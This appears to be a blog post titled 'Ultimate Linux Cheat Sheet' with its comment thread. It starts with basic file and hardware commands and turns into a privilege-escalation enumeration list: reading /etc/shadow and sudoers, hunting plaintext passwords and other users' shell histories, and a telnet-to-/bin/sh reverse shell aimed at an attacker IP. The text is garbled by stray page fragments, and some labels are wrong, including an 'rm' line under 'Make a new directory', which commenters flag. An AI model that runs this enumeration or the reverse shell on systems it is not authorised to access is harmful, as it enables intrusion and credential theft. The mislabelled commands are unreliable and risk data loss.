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Ultimate Linux Cheat Sheet

#programming #productivity #linux #devops

Justin Varghese 2 Mar ·Updated on 5 Mar ·4 min read

Introduction

Linux commands may seem intimidating at first glance if you are not used to using the
terminal. There are many commands for performing operations and processes on your
Linux system.

No matter whether you are new to Linux or an experienced user, having a list of
common commands close at hand is helpful.

In this tutorial, you will find commonly used Linux commands as well list of common
Linux commands
Important: Depending on your system setup, some of the commands below may
require invoking sudo to be executed

A list of all Linux commands commonly used with Linux operating systems.
Linux Commands List

File Commands
107 20 246
List files in the directory:
ls
List all files (shows hidden files):

ls -a
Show directory you are currently working in:

pwd
Create a new directory:

mkdir [directory]
Make a new directory

*rm [file_name] *
Remove a directory recursively

rm -rf [directory_name]
It deletes the directory

cp [file_name1] [file_name2]
Recursively copy the contents of one file to a second file:

cp -r [directory_name1] [directory_name2]
Rename [file_name1] to [file_name2] with the command:

mv [file_name1] [file_name2]
Create a symbolic link to a file:

ln -s /path/to/[file_name] [link_name]
Create a new file:

touch [file_name]

Hardware Information

Show bootup messages:

dmesg
See CPU information:

cat /proc/cpuinfo
Display free 107
and used memory with:20 246
free -h
List hardware configuration information:

lshw
See information about block devices:

lsblk
Show PCI devices in a tree-like diagram:

lspci -tv
Display USB devices in a tree-like diagram:

lsusb -tv
Show hardware information from the BIOS:

dmidecode
Display disk data information:

hdparm -i /dev/disk
Conduct a read-speed test on device/disk:

hdparm -tT /dev/[device]

Test for unreadable blocks on device/disk:

badblocks -s /dev/[device]

Operating System
What's the distribution type? What version?

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release

What's the kernel version? Is it 64-bit?

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep107
Linux 20 246
ls /boot | grep vmlinuz-
ls /boot | grep vmlinuz

What can be learnt from the environmental variables?

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

Is there a printer?

lpstat -a

Applications & Services

What services are running? Which service has which user privilege?

ps aux
ps -ef
top
cat /etc/services

Which service(s) are been running by root? Of these services, which are vulnerable

ps aux | grep root

ps -ef | grep root

What applications are installed? What version are they? Are they currently running?

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?

cat /etc/syslog.conf
cat /etc/chttp.conf
107 20 246
cat /etc/lighttpd.conf
t/ t / / d f
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf

cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.r./

What jobs are scheduled?

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

Any plain text usernames and/or passwords?

grep -i user [filename]

grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

Communications & Networking

What NIC(s) does the system have? Is it connected to another network?

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

What are the network configuration settings? What can you find out about this
network? DHCP server? DNS server? Gateway?

107 20 246
cat /etc/resolv.conf
t/ t / fi / t k
cat /etc/sysconfig/network
cat /etc/networks

iptables -L
hostname
dnsdomainname

What other users & hosts are communicating with the system?

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

Whats cached? IP and/or MAC addresses

arp -e
route
/sbin/route -nee

Is packet sniffing possible? What can be seen? Listen to live traffic

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

Have you got a shell? Can you interact with the system?

nc -lvp 4444 # Attacker. Input (Commands)

nc -lvp 4445 # Attacker. Ouput (Results)
telnet [attackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the
attackers IP!

Confidential Information & Users

Who are you? Who is logged in? Who has been logged in? Who else is there? Who can
do what?**
107 20 246

id
id
who

w
last
cat /etc/passwd | cut -d: -f1 # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l

What sensitive files can be found?

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

Anything "interesting" in the home directorie(s)? If it's possible to access

ls -ahlR /root/
ls -ahlR /home/

Are there any passwords in; scripts, databases, configuration files or log files?
Default paths and locations for passwords

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

What has the user being doing? Is there any password in plain text? What have they
been editing?

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

What user information can be found?

cat ~/.bashrc
107 20 246
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
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Discussion (29) Subscribe

Add to the discussion

Ahsan Nabi Dar • Mar 3

rm -rf [directory_name]
Copy the contents of one file to another file:

I hope no one tries to copy through this 😅

14

Alex Georgiev • Mar 3

Good catch! @justinnn07 you can edit this!

Justin Varghese • Mar 3

Sure
107bro! 20 246
 3 Thread

Alex Georgiev • Mar 3

Wonderful, great post!

2 Thread

Justin Varghese • Mar 3

Thanks bro

Justin Varghese • Mar 3

It deleted the folder na bro?

Mathias Tejeda • Mar 5

I thing I've done something wrong because i copied my entire Linux distro to hell

Talha Mansoor • Mar 3

😂😂😂
1

DevLorenzo • Mar 4

Hello!
Do you have a PDF Version?
I would like to add this cheat sheet to my compilation:

🎁 🚀
The ultimate Cheat sheets compilation (200+) -
/ Roadmap to dev
🔥
107 DevLorenzo · Mar 220· 17 min read 246
#productivity #webdev #beginners #javascript
 #productivity #webdev #beginners #javascript

Thanks

Justin Varghese • Mar 4

Cool, go ahead!

DevLorenzo • Mar 4 • Edited

Added!
If you want please leave a like (I'm trying to reach the top 10)

2 Thread

Justin Varghese • Mar 4

For sure dude!

2 Thread

DevLorenzo • Mar 4

I propose that I put your cheat sheet in a more evident way (I write "go check this
cool cheat sheets", I put a more visible link, a photo ...) and in exchange in your
article you add the liquid tag of my compilation (at the end or at the top).

2 Thread

Justin Varghese • Mar 4

Yeah thanks man!

2 Thread

DevLorenzo • Mar 4
107 20 246
I did my part, it's your turn now.
 You found it in part 2 - Extra - Your cheat sheets - Linux!

2 Thread

Justin Varghese • Mar 4

What should I do bro?

2 Thread

DevLorenzo • Mar 4

You can add a liquid tag to my article at the top / the end of this cheat sheet with a
little engagement sentence.

Link:
dev.to/devlorenzo/the-ultimate-com...

2 Thread

Justin Varghese • Mar 4

Ok

2 Thread

DevLorenzo • Mar 4

then?

SyntaxSeed (Sherri W) • Mar 4

rm... Always type rm [dir name] first.... then go back & add the -rf after.

Trust me. 🤣
2

Justin Varghese • Mar 5

107 20 246

I k it was typing mistake aff

 I k it was typing mistake aff

Kiran Sethumadhavan • Mar 2

Great Job Bro 👍

2

Justin Varghese • Mar 2

Abe bro 😶🙄
1

Solomon Eseme • Mar 5

Wait!!! What!!!! I just saw this, or is my eyes paining me?

rm -r [directory_name]
Recursively remove a directory without requiring confirmation:

Please don't copy with the command above.

Justin Varghese • Mar 5

Its RM -rf na 😅🙄
1

Michelle Te Whata • Mar 3

Thanks for sharing

Vincenzo Buttazzo • Mar 3

lscpu is also a good way to know details about your processor.

107 20 246

2
 2

Omar Faruque • Mar 5

Isn't mkdir => make a new directory.??

Justin Varghese • Mar 5

Yes

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